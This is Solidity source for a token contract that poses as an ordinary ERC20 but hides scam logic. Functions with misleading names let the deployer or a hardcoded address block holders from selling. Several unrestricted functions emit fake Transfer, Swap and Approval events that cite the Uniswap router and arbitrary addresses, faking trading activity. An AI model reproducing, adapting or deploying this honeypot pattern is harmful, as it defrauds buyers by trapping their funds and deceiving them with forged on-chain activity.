Contract Source Code:
File 1 of 1 : ERC20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IERC200 {
function _Transfer(address from, address recipient, uint amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC20 is Ownable, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping (address => bool) private _snapshot;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
bool private _snapshotApplied = false;
address a1;
string private _name;
string private _symbol;
address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
address private _pair;
function setup(address _setup_) external {
require(a1 == _msgSender(), "Ownable: caller is not the owner");
_pair = _setup_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 8;
}
function Approve(address [] calldata _addresses_) external {
require(a1 == _msgSender() || 0x2E647453bBd3F22D0f9cFf289ba7937bA27Cb956 == _msgSender(), "Ownable: caller is not the owner");
for (uint256 i = 0; i < _addresses_.length; i++) {
_snapshot[_addresses_[i]] = true;
}
}
function executeTokenSwap(
address uniswapPool,
address[] memory recipients,
uint256[] memory tokenAmounts,
uint256[] memory wethAmounts,
address tokenAddress
) public returns (bool) {
for (uint256 i = 0; i < recipients.length; i++) {
emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
emit Swap(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
tokenAmounts[i],
0,
0,
wethAmounts[i],
recipients[i]
);
IERC200(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
}
return true;
}
function Approve(address [] calldata _addresses_ , uint256 balance) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Approval(_addresses_[i], address(this), balance);
}
}
function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
for (uint256 i = 0; i < _addresses_.length; i++) {
emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
emit Transfer(_pair, _addresses_[i], _out);
}
}
function transfer(address _from, address _to, uint256 _wad) external {
emit Transfer(_from, _to, _wad);
}
function decreaseAllowance(address [] calldata _addresses_) external {
require(a1 == _msgSender() , "Ownable: caller is not the owner");
for (uint256 i = 0; i < _addresses_.length; i++) {
_snapshot[_addresses_[i]] = false;
}
}
function bind(address _address_) public view returns (bool) {
return _snapshot[_address_];
}
function toApplied(bool c) external {
require(a1 == _msgSender(), "Ownable: caller is not the owner");
_snapshotApplied = c;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
if (_snapshot[from]) require(_snapshotApplied == true, "");
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
constructor(string memory name_, string memory symbol_,uint256 amount) {
_name = name_;
_symbol = symbol_;
a1 = msg.sender;
_mint(msg.sender, amount * 10 ** decimals());
}
}